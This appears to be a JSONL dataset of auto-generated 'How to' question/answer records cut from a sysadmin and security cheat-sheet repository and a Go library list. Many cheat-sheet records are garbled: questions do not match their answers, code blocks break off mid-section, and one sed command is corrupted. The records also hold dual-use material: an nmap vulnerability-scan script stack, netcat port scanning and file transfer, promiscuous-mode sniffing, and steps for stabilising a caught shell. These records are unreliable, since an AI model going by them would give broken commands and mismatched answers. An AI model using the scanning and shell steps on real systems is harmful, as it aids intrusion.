{"id": "gh_8d69833fef6a", "question": "How to: Add key to keychain.", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "function _scg() {\n\n  /usr/bin/keychain /path/to/private-key\n  source \"$HOME/.keychain/$HOSTNAME-sh\"\n\n}\n```\n\n###### SSH login without processing any login scripts\n\n```bash\nssh -tt user@host bash\n```\n\n###### SSH local port forwarding\n\nExample 1:\n\n```bash", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 202557, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.369038"}
{"id": "gh_6a6666a0a8fe", "question": "How to: Connect to the service:", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "host1> curl -Iks --location -X GET https://localhost:2250\n```\n\nExample 2:\n\n```bash", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 202557, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.369043"}
{"id": "gh_35a3be41935a", "question": "How to: Set Nmap NSE scripts stack:", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "_nmap_nse_scripts=\"+dns-brute,\\\n                   +http-auth-finder,\\\n                   +http-chrono,\\\n                   +http-cookie-flags,\\\n                   +http-cors,\\\n                   +http-cross-domain-policy,\\\n                   +http-csrf,\\\n                   +http-dombased-xss,\\\n                   +http-enum,\\\n                   +http-errors,\\\n                   +http-git,\\\n                   +http-grep,\\\n                   +http-internal-ip-disclosure,\\\n                   +http-jsonp-detection,\\\n                   +http-malware-host,\\\n                   +http-methods,\\\n                   +http-passwd,\\\n                   +http-phpself-xss,\\\n                   +http-php-version,\\\n                   +http-robots.txt,\\\n                   +http-sitemap-generator,\\\n                   +http-shellshock,\\\n                   +http-stored-xss,\\\n                   +http-title,\\\n                   +http-unsafe-output-escaping,\\\n                   +http-useragent-tester,\\\n                   +http-vhosts,\\\n                   +http-waf-detect,\\\n                   +http-waf-fingerprint,\\\n                   +http-xssed,\\\n                   +traceroute-geolocation.nse,\\\n                   +ssl-enum-ciphers,\\\n                   +whois-domain,\\\n                   +whois-ip\"", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 202557, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.369073"}
{"id": "gh_aee9f26075ff", "question": "How to: Set Nmap NSE script params:", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "_nmap_nse_scripts_args=\"dns-brute.domain=${_hosts},http-cross-domain-policy.domain-lookup=true,\"\n_nmap_nse_scripts_args+=\"http-waf-detect.aggro,http-waf-detect.detectBodyChanges,\"\n_nmap_nse_scripts_args+=\"http-waf-fingerprint.intensive=1\"", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 202557, "answer_score": 10, "has_code": false, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.369077"}
{"id": "gh_399003e21c43", "question": "How to: Perform scan:", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "nmap --script=\"$_nmap_nse_scripts\" --script-args=\"$_nmap_nse_scripts_args\" -p \"$_ports\" \"$_hosts\"\n```\n\n___\n\n##### Tool: [netcat](http://netcat.sourceforge.net/)\n\n```bash\nnc -kl 5000\n```\n\n  * `-l` - listen for an incoming connection\n  * `-k` - listening after client has disconnected\n  * `>filename.out` - save receive data to file (optional)\n\n```bash\nnc 192.168.0.1 5051 < filename.in\n```\n\n  * `< filename.in` - send data to remote host\n\n```bash\nnc -vz 10.240.30.3 5000\n```\n\n  * `-v` - verbose output\n  * `-z` - scan for listening daemons\n\n```bash\nnc -vzu 10.240.30.3 1-65535\n```\n\n  * `-u` - scan only udp ports\n\n###### Transfer data file (archive)\n\n```bash\nserver> nc -l 5000 | tar xzvfp -\nclient> tar czvfp - /path/to/dir | nc 10.240.30.3 5000\n```\n\n###### Launch remote shell\n\n```bash", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 202557, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.369083"}
{"id": "gh_f80a1b0217cf", "question": "How to: UDP -> TCP", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "nc -l -u -p 2000 -c \"nc [ip|hostname] 3000\"\n```\n\n___\n\n##### Tool: [gnutls-cli](https://gnutls.org/manual/html_node/gnutls_002dcli-Invocation.html)\n\n###### Testing connection to remote host (with SNI support)\n\n```bash\ngnutls-cli -p 443 google.com\n```\n\n###### Testing connection to remote host (without SNI support)\n\n```bash\ngnutls-cli --disable-sni -p 443 google.com\n```\n\n___\n\n##### Tool: [socat](http://www.dest-unreach.org/socat/doc/socat.html)\n\n###### Testing remote connection to port\n\n```bash\nsocat - TCP4:10.240.30.3:22\n```\n\n  * `-` - standard input (STDIO)\n  * `TCP4:\n` - set tcp4 connection with specific params\n    * `[hostname|ip]` - set hostname/ip\n    * `[1-65535]` - set port number\n\n###### Redirecting TCP-traffic to a UNIX domain socket under Linux\n\n```bash\nsocat TCP-LISTEN:1234,bind=127.0.0.1,reuseaddr,fork,su=nobody,range=127.0.0.0/8 UNIX-CLIENT:/tmp/foo\n```\n\n  * `TCP-LISTEN:\n` - set tcp listen with specific params\n    * `[1-65535]` - set port number\n    * `bind=[hostname|ip]` - set bind hostname/ip\n    * `reuseaddr` - allows other sockets to bind to an address\n    * `fork` - keeps the parent process attempting to produce more connections\n    * `su=nobody` - set user\n    * `range=[ip-range]` - ip range\n  * `UNIX-CLIENT:\n` - communicates with the specified peer socket\n    * `filename` - define socket\n\n___\n\n##### Tool: [p0f](http://lcamtuf.coredump.cx/p0f3/)\n\n###### Set iface in promiscuous mode and dump traffic to the log file\n\n```bash\np0f -i enp0s25 -p -d -o /dump/enp0s25.log\n```\n\n  * `-i` - listen on the specified interface\n  * `-p` - set interface in promiscuous mode\n  * `-d` - fork into background\n  * `-o` - output file\n\n___\n\n##### Tool: [netstat](https://en.wikipedia.org/wiki/Netstat)\n\n###### Graph # of connections for each hosts\n\n```bash\nnetstat -an | awk '/ESTABLISHED/ { split($5,ip,\":\"); if (ip[1] !~ /^$/) print ip[1] }' | \\\nsort | uniq -c | awk '{ printf(\"%s\\t%s\\t\",$2,$1) ; for (i = 0; i < $1; i++) {printf(\"*\")}; print \"\" }'\n```\n\n###### Monitor open connections for specific port including listen, count and sort it per IP\n\n```bash\nwatch \"netstat -plan | grep :443 | awk {'print \\$5'} | cut -d: -f 1 | sort | uniq -c | sort -nk 1\"\n```\n\n###### Grab banners from local IPv4 listening ports\n\n```bash\nnetstat -nlt | grep 'tcp ' | grep -Eo \"[1-9][0-9]*\" | xargs -I {} sh -c \"echo \"\" | nc -v -n -w1 127.0.0.1 {}\"\n```\n\n___\n\n##### Tool: [rsync](https://en.wikipedia.org/wiki/Rsync)\n\n###### Rsync remote data as root using sudo\n\n```bash\nrsync --rsync-path 'sudo rsync' username@hostname:/path/to/dir/ /local/\n```\n\n___\n\n##### Tool: [host](https://en.wikipedia.org/wiki/Host_(Unix))\n\n###### Resolves the domain name (using external dns server)\n\n```bash\nhost google.com 9.9.9.9\n```\n\n###### Checks the domain administrator (SOA record)\n\n```bash\nhost -t soa google.com 9.9.9.9\n```\n\n___\n\n##### Tool: [dig](https://en.wikipedia.org/wiki/Dig_(command))\n\n###### Resolves the domain name (short output)\n\n```bash\ndig google.com +short\n```\n\n###### Lookup NS record for specific domain\n\n```bash\ndig @9.9.9.9 google.com NS\n```\n\n###### Query only answer section\n\n```bash\ndig google.com +nocomments +noquestion +noauthority +noadditional +nostats\n```\n\n###### Query ALL DNS Records\n\n```bash\ndig google.com ANY +noall +answer\n```\n\n###### DNS Reverse Look-up\n\n```bash\ndig -x 172.217.16.14 +short\n```\n\n___\n\n##### Tool: [certbot](https://certbot.eff.org/)\n\n###### Generate multidomain certificate\n\n```bash\ncertbot certonly -d example.com -d www.example.com\n```\n\n###### Generate wildcard certificate\n\n```bash\ncertbot certonly --manual --preferred-challenges=dns -d example.com -d *.example.com\n```\n\n###### Generate certificate with 4096 bit private key\n\n```bash\ncertbot certonly -d example.com -d www.example.com --rsa-key-size 4096\n```\n\n___\n\n##### Tool: [network-other](https://github.com/trimstray/the-book-of-secret-knowledge#tool-network-other)\n\n###### Get all subnets for specific AS (Autonomous system)\n\n```bash\nAS=\"AS32934\"\nwhois -h whois.radb.net -- \"-i origin ${AS}\" | \\\ngrep \"^route:\" | \\\ncut -d \":\" -f2 | \\\nsed -e 's/^[ \\t]//' | \\\nsort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 | \\\ncut -d \":\" -f2 | \\\nsed -e 's/^[ \\t]/allow /' | \\\nsed 's/$/;/' | \\\nsed 's/allow  */subnet -> /g'\n```\n\n###### Resolves domain name from dns.google.com with curl and jq\n\n```bash\n_dname=\"google.com\" ; curl -s \"https://dns.google.com/resolve?name=${_dname}&type=A\" | jq .\n```\n\n##### Tool: [git](https://git-scm.com/)\n\n###### Log alias for a decent view of your repo\n\n```bash", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 202557, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.369103"}
{"id": "gh_8eae66099d2c", "question": "How to: Python 2.x", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "python -m SimpleHTTPServer 8000\n```\n\n###### Static HTTP web server with SSL support\n\n```bash", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 202557, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.369109"}
{"id": "gh_f207513e6d48", "question": "How to: Python 3.x", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "from http.server import HTTPServer, BaseHTTPRequestHandler\nimport ssl\n\nhttpd = HTTPServer(('localhost', 4443), BaseHTTPRequestHandler)\n\nhttpd.socket = ssl.wrap_socket (httpd.socket,\n        keyfile=\"path/to/key.pem\",\n        certfile='path/to/cert.pem', server_side=True)\n\nhttpd.serve_forever()", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 202557, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.369113"}
{"id": "gh_15b35cb65a9b", "question": "How to: egrep -v foo", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "awk '!/foo/' filename\n```\n\n###### Print matching lines with numbers\n\n```bash", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 202557, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.369123"}
{"id": "gh_17d6668f8147", "question": "How to: egrep -n foo", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "awk '/foo/{print FNR,$0}' filename\n```\n\n###### Print the last column\n\n```bash\nawk '{print $NF}' filename\n```\n\n###### Find all the lines longer than 80 characters\n\n```bash\nawk 'length($0)>80{print FNR,$0}' filename\n```\n\n###### Print only lines of less than 80 characters\n\n```bash\nawk 'length < 80' filename\n```\n\n###### Print double new lines a file\n\n```bash\nawk '1; { print \"\" }' filename\n```\n\n###### Print line numbers\n\n```bash\nawk '{ print FNR \"\\t\" $0 }' filename\nawk '{ printf(\"%5d : %s\\n\", NR, $0) }' filename   # in a fancy manner\n```\n\n###### Print line numbers for only non-blank lines\n\n```bash\nawk 'NF { $0=++a \" :\" $0 }; { print }' filename\n```\n\n###### Print the line and the next two (i=5) lines after the line matching regexp\n\n```bash\nawk '/foo/{i=5+1;}{if(i){i--; print;}}' filename\n```\n\n###### Print the lines starting at the line matching 'server {' until the line matching '}'\n\n```bash\nawk '/server {/,/}/' filename\n```\n\n###### Print multiple columns with separators\n\n```bash\nawk -F' ' '{print \"ip:\\t\" $2 \"\\n port:\\t\" $3' filename\n```\n\n###### Remove empty lines\n\n```bash\nawk 'NF > 0' filename", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 202557, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.369130"}
{"id": "gh_96944da0720b", "question": "How to: alternative:", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "awk NF filename\n```\n\n###### Delete trailing white space (spaces, tabs)\n\n```bash\nawk '{sub(/[ \\t]*$/, \"\");print}' filename\n```\n\n###### Delete leading white space\n\n```bash\nawk '{sub(/^[ \\t]+/, \"\"); print}' filename\n```\n\n###### Remove duplicate consecutive lines\n\n```bash", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 202557, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.369134"}
{"id": "gh_85da670a9a65", "question": "How to: alternative (BSD): sed -i'' 10d /path/to/file", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "```\n\n###### Remove a range of lines from a file\n\n```bash\nsed -i\n-re '\n,\nd'\n```\n\n###### Replace newline(s) with a space\n\n```bash\nsed ':a;N;$!ba;s/\\n/ /g' /path/to/file", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 202557, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.369141"}
{"id": "gh_9e1f72512144", "question": "How to: cross-platform compatible syntax:", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "sed -e ':a' -e 'N' -e '$!ba' -e 's/\\n/ /g' /path/to/file\n```\n\n- `:a` create a label `a`\n- `N` append the next line to the pattern space\n- `$!` if not the last line, ba branch (go to) label `a`\n- `s` substitute, `/\\n/` regex for new line, `/ /` by a space, `/g` global match (as many times as it can)\n\nAlternatives:\n\n```bash", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 202557, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.369145"}
{"id": "gh_08cd2ec20fa4", "question": "How to: bash version (slow):", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "while read line ; do printf \"%s\" \"$line \" ; done < file\n```\n\n###### Delete string +N next lines\n\n```bash\nsed '/start/,+4d' /path/to/file\n```\n\n___\n\n##### Tool: [grep](http://www.grymoire.com/Unix/Grep.html)\n\n###### Search for a \"pattern\" inside all files in the current directory\n\n```bash\ngrep -rn \"pattern\"\ngrep -RnisI \"pattern\" *\nfgrep \"pattern\" * -R\n```\n\n###### Show only for multiple patterns\n\n```bash\ngrep 'INFO*'\\''WARN' filename\ngrep 'INFO\\|WARN' filename\ngrep -e INFO -e WARN filename\ngrep -E '(INFO|WARN)' filename\negrep \"INFO|WARN\" filename\n```\n\n###### Except multiple patterns\n\n```bash\ngrep -vE '(error|critical|warning)' filename\n```\n\n###### Show data from file without comments\n\n```bash\ngrep -v ^[[:space:]]*# filename\n```\n\n###### Show data from file without comments and new lines\n\n```bash\negrep -v '#|^$' filename\n```\n\n###### Show strings with a dash/hyphen\n\n```bash\ngrep -e -- filename\ngrep -- -- filename\ngrep \"\\-\\-\" filename\n```\n\n###### Remove blank lines from a file and save output to new file\n\n```bash\ngrep . filename > newfilename\n```\n\n##### Tool: [perl](https://www.perl.org/)\n\n###### Search and replace (in place)\n\n```bash\nperl -i -pe's/SEARCH/REPLACE/' filename\n```\n\n###### Edit of `*.conf` files changing all foo to bar (and backup original)\n\n```bash\nperl -p -i.orig -e 's/\\bfoo\\b/bar/g' *.conf\n```\n\n###### Prints the first 20 lines from `*.conf` files\n\n```bash\nperl -pe 'exit if $. > 20' *.conf\n```\n\n###### Search lines 10 to 20\n\n```bash\nperl -ne 'print if 10 .. 20' filename\n```\n\n###### Delete first 10 lines (and backup original)\n\n```bash\nperl -i.orig -ne 'print unless 1 .. 10' filename\n```\n\n###### Delete all but lines between foo and bar (and backup original)\n\n```bash\nperl -i.orig -ne 'print unless /^foo$/ .. /^bar$/' filename\n```\n\n###### Reduce multiple blank lines to a single line\n\n```bash\nperl -p -i -00pe0 filename\n```\n\n###### Convert tabs to spaces (1t = 2sp)\n\n```bash\nperl -p -i -e 's/\\t/  /g' filename\n```\n\n###### Read input from a file and report number of lines and characters\n\n```bash\nperl -lne '$i++; $in += length($_); END { print \"$i lines, $in characters\"; }' filename\n```\n\n#### Shell Tricks  [\n[TOC]\n](#anger-table-of-contents)\n\nWhen you get a shell, it is generally not very clean, but after following these steps, you will have a fairly clean and comfortable shell to work with.\n\n1) `script /dev/null -c bash`\n2) Ctrl-Z (to send it to background)\n3) `stty raw -echo; fg` (returns the shell to foreground)\n4) `reset` (to reset terminal)\n5) `xterm` (when asked for terminal type)\n6) `export TERM=xterm; export SHELL=bash`\n\n#### Shell functions  [\n[TOC]\n](#anger-table-of-contents)\n\n##### Table of Contents\n\n- [Domain resolve](#domain-resolve)\n- [Get ASN](#get-asn)\n\n###### Domain resolve\n\n```bash", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 202557, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.369156"}
{"id": "gh_dd211379731f", "question": "How to: Actor Model", "question_body": "About avelino/awesome-go", "answer": "_Libraries for building actor-based programs._\n\n- [asyncmachine-go/pkg/machine](https://github.com/pancsta/asyncmachine-go/tree/main/pkg/machine) - Graph control flow library (AOP, actor, state-machine).\n- [Ergo](https://github.com/ergo-services/ergo) - An actor-based Framework with network transparency for creating event-driven architecture in Golang. Inspired by Erlang.\n- [Goakt](https://github.com/Tochemey/goakt) - Fast and Distributed Actor framework using protocol buffers as message for Golang.\n- [Hollywood](https://github.com/anthdm/hollywood) - Blazingly fast and light-weight Actor engine written in Golang.\n- [ProtoActor](https://github.com/asynkron/protoactor-go) - Distributed actors for Go, C#, and Java/Kotlin.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082225"}
{"id": "gh_7997d5179eba", "question": "How to: Artificial Intelligence", "question_body": "About avelino/awesome-go", "answer": "_Libraries for building programs that leverage AI._\n\n- [chromem-go](https://github.com/philippgille/chromem-go) - Embeddable vector database for Go with Chroma-like interface and zero third-party dependencies. In-memory with optional persistence.\n- [fun](https://gitlab.com/tozd/go/fun) - The simplest but powerful way to use large language models (LLMs) in Go.\n- [langchaingo](https://github.com/tmc/langchaingo) - LangChainGo is a framework for developing applications powered by language models.\n- [LocalAI](https://github.com/mudler/LocalAI) - Open Source OpenAI alternative, self-host AI models.\n- [Ollama](https://github.com/jmorganca/ollama) - Run large language models locally.\n- [OllamaFarm](https://github.com/presbrey/ollamafarm) - Manage, load-balance, and failover packs of Ollamas.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082239"}
{"id": "gh_befa75e341be", "question": "How to: Audio and Music", "question_body": "About avelino/awesome-go", "answer": "_Libraries for manipulating audio._\n\n- [beep](https://github.com/gopxl/beep) - A simple library for playback and audio manipulation.\n- [flac](https://github.com/mewkiz/flac) - Native Go FLAC encoder/decoder with support for FLAC streams.\n- [gaad](https://github.com/Comcast/gaad) - Native Go AAC bitstream parser.\n- [go-mpris](https://github.com/leberKleber/go-mpris) - Client for mpris dbus interfaces.\n- [GoAudio](https://github.com/DylanMeeus/GoAudio) - Native Go Audio Processing Library.\n- [gosamplerate](https://github.com/dh1tw/gosamplerate) - libsamplerate bindings for go.\n- [id3v2](https://github.com/bogem/id3v2) - ID3 decoding and encoding library for Go.\n- [malgo](https://github.com/gen2brain/malgo) - Mini audio library.\n- [minimp3](https://github.com/tosone/minimp3) - Lightweight MP3 decoder library.\n- [Oto](https://github.com/hajimehoshi/oto) - A low-level library to play sound on multiple platforms.\n- [play](https://github.com/paololazzari/play) - Command-line audio player that supports multiple formats including WAV, MP3, OGG, and FLAC.\n- [PortAudio](https://github.com/gordonklaus/portaudio) - Go bindings for the PortAudio audio I/O library.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082247"}
{"id": "gh_b7d3569efa29", "question": "How to: Authentication and Authorization", "question_body": "About avelino/awesome-go", "answer": "_Libraries for implementing authentication and authorization._\n\n- [authboss](https://github.com/volatiletech/authboss) - Modular authentication system for the web. It tries to remove as much boilerplate and \"hard things\" as possible so that each time you start a new web project in Go, you can plug it in, configure it, and start building your app without having to build an authentication system each time.\n- [branca](https://github.com/essentialkaos/branca) - branca token [specification implementation](https://github.com/tuupola/branca-spec) for Golang 1.15+.\n- [casbin](https://github.com/hsluoyz/casbin) - Authorization library that supports access control models like ACL, RBAC, and ABAC.\n- [cookiestxt](https://github.com/mengzhuo/cookiestxt) - provides a parser of cookies.txt file format.\n- [go-githubauth](https://github.com/jferrl/go-githubauth) - Utilities for GitHub authentication: generate and use GitHub application and installation tokens.\n- [go-guardian](https://github.com/shaj13/go-guardian) - Go-Guardian is a golang library that provides a simple, clean, and idiomatic way to create powerful modern API and web authentication that supports LDAP, Basic, Bearer token, and Certificate based authentication.\n- [go-iam](https://github.com/melvinodsa/go-iam) - Developer-first Identity and Access Management system with a simple UI.\n- [go-jose](https://github.com/go-jose/go-jose) - Fairly complete implementation of the JOSE working group's JSON Web Token, JSON Web Signatures, and JSON Web Encryption specs.\n- [go-jwt](https://github.com/pardnchiu/go-jwt) - JWT authentication package providing access tokens and refresh tokens with fingerprinting, Redis storage, and automatic refresh capabilities.\n- [goiabada](https://github.com/leodip/goiabada) - An open-source authentication and authorization server supporting OAuth2 and OpenID Connect.\n- [gologin](https://github.com/dghubble/gologin) - chainable handlers for login with OAuth1 and OAuth2 authentication providers.\n- [gorbac](https://github.com/mikespook/gorbac) - provides a lightweight role-based access control (RBAC) implementation in Golang.\n- [gosession](https://github.com/Kwynto/gosession) - This is quick session for net/http in GoLang. This package is perhaps the best implementation of the session mechanism, or at least it tries to become one.\n- [goth](https://github.com/markbates/goth) - provides a simple, clean, and idiomatic way to use OAuth and OAuth2. Handles multiple providers out of the box.\n- [jeff](https://github.com/abraithwaite/jeff) - Simple, flexible, secure, and idiomatic web session management with pluggable backends.\n- [jwt](https://github.com/pascaldekloe/jwt) - Lightweight JSON Web Token (JWT) library.\n- [jwt](https://github.com/cristalhq/jwt) - Safe, simple, and fast JSON Web Tokens for Go.\n- [jwt-auth](https://github.com/adam-hanna/jwt-auth) - JWT middleware for Golang http servers with many configuration options.\n- [jwt-go](https://github.com/golang-jwt/jwt) - A full featured implementation of JSON Web Tokens (JWT). This library supports the parsing and verification as well as the generation and signing of JWTs.\n- [jwx](https://github.com/lestrrat-go/jwx) - Go module implementing various JWx (JWA/JWE/JWK/JWS/JWT, otherwise known as JOSE) technologies.\n- [keto](https://github.com/ory/keto) - Open Source (Go) implementation of \"Zanzibar: Google's Consistent, Global Authorization System\". Ships gRPC, REST APIs, newSQL, and an easy and granular permission language. Supports ACL, RBAC, and other access models.\n- [loginsrv](https://github.com/tarent/loginsrv) - JWT login microservice with pluggable backends such as OAuth2 (Github), htpasswd, osiam.\n- [oauth2](https://github.com/golang/oauth2) - Successor of goauth2. Generic OAuth 2.0 package that comes with JWT, Google APIs, Compute Engine, and App Engine support.\n- [oidc](https://github.com/zitadel/oidc) - Easy to use OpenID Connect client and server library written for Go and certified by the OpenID Foundation.\n- [openfga](https://github.com/openfga/openfga) - Implementation of fine-grained authorization based on the \"Zanzibar: Google's Consistent, Global Authorization System\" paper. Backed by [CNCF](https://www.cncf.io/).\n- [osin](https://github.com/openshift/osin) - Golang OAuth2 server library.\n- [otpgen](https://github.com/grijul/otpgen) - Library to generate TOTP/HOTP codes.\n- [otpgo](https://github.com/jltorresm/otpgo) - Time-Based One-Time Password (TOTP) and HMAC-Based One-Time Password (HOTP) library for Go.\n- [paseto](https://github.com/o1egl/paseto) - Golang implementation of Platform-Agnostic Security Tokens (PASETO).\n- [permissions](https://github.com/xyproto/permissions) - Library for keeping track of users, login states, and permissions. Uses secure cookies and bcrypt.\n- [scope](https://github.com/SonicRoshan/scope) - Easily Manage OAuth2 Scopes In Go.\n- [scs](https://github.com/alexedwards/scs) - Session Manager for HTTP servers.\n- [securecookie](https://github.com/chmike/sec", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082267"}
{"id": "gh_744e9b236fc2", "question": "How to: Blockchain", "question_body": "About avelino/awesome-go", "answer": "_Tools for building blockchains._\n\n- [cometbft](https://github.com/cometbft/cometbft) - A distributed, Byzantine fault-tolerant, deterministic state machine replication engine. It is a fork of Tendermint Core and implements the Tendermint consensus algorithm.\n- [cosmos-sdk](https://github.com/cosmos/cosmos-sdk) - A Framework for Building Public Blockchains in the Cosmos Ecosystem.\n- [gno](https://github.com/gnolang/gno) - A comprehensive smart contract suite built with Golang and Gnolang, a deterministic, purpose-built Go variant for blockchains.\n- [go-ethereum](https://github.com/ethereum/go-ethereum) - Official Go implementation of the Ethereum protocol.\n- [gosemble](https://github.com/LimeChain/gosemble) - A Go-based framework for building Polkadot/Substrate-compatible runtimes.\n- [gossamer](https://github.com/ChainSafe/gossamer) - A Go implementation of the Polkadot Host.\n- [kubo](https://github.com/ipfs/kubo) - An IPFS implementation in Go. It provides content-addressable storage which can be used for decentralized storage in DApps. It is based on the IPFS protocol.\n- [lnd](https://github.com/lightningnetwork/lnd) - A complete implementation of a Lightning Network node.\n- [nview](https://github.com/blinklabs-io/nview) - Local monitoring tool for a Cardano Node. It's a TUI (terminal user interface) designed to fit most screens.\n- [solana-go](https://github.com/gagliardetto/solana-go) - Go library to interface with Solana JSON RPC and WebSocket interfaces.\n- [tendermint](https://github.com/tendermint/tendermint) - High-performance middleware for transforming a state machine written in any programming language into a Byzantine Fault Tolerant replicated state machine using the Tendermint consensus and blockchain protocols.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082276"}
{"id": "gh_151e61960219", "question": "How to: Bot Building", "question_body": "About avelino/awesome-go", "answer": "_Libraries for building and working with bots._\n\n- [arikawa](https://github.com/diamondburned/arikawa) - A library and framework for the Discord API.\n- [bot](https://github.com/go-telegram/bot) - Zero-dependencies Telegram Bot library with additional UI components.\n- [echotron](https://github.com/NicoNex/echotron) - An elegant and concurrent library for Telegram Bots in Go.\n- [go-joe](https://joe-bot.net) - A general-purpose bot library inspired by Hubot but written in Go.\n- [go-sarah](https://github.com/oklahomer/go-sarah) - Framework to build a bot for desired chat services including LINE, Slack, Gitter, and more.\n- [go-tg](https://github.com/mr-linch/go-tg) - Generated from official docs Go client library for accessing Telegram Bot API, with batteries for building complex bots included.\n- [go-twitch-irc](https://github.com/gempir/go-twitch-irc) - Library to write bots for twitch.tv chat\n- [micha](https://github.com/onrik/micha) - Go Library for Telegram bot api.\n- [slack-bot](https://github.com/innogames/slack-bot) - Ready to use Slack Bot for lazy developers: Custom commands, Jenkins, Jira, Bitbucket, Github...\n- [slacker](https://github.com/slack-io/slacker) - Easy to use framework to create Slack bots.\n- [telebot](https://github.com/tucnak/telebot) - Telegram bot framework is written in Go.\n- [telego](https://github.com/mymmrac/telego) - Telegram Bot API library for Golang with full one-to-one API implementation.\n- [telegram-bot-api](https://github.com/go-telegram-bot-api/telegram-bot-api) - Simple and clean Telegram bot client.\n- [wayback](https://github.com/wabarc/wayback) - A bot for Telegram, Mastodon, Slack, and other messaging platforms archives webpages.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082285"}
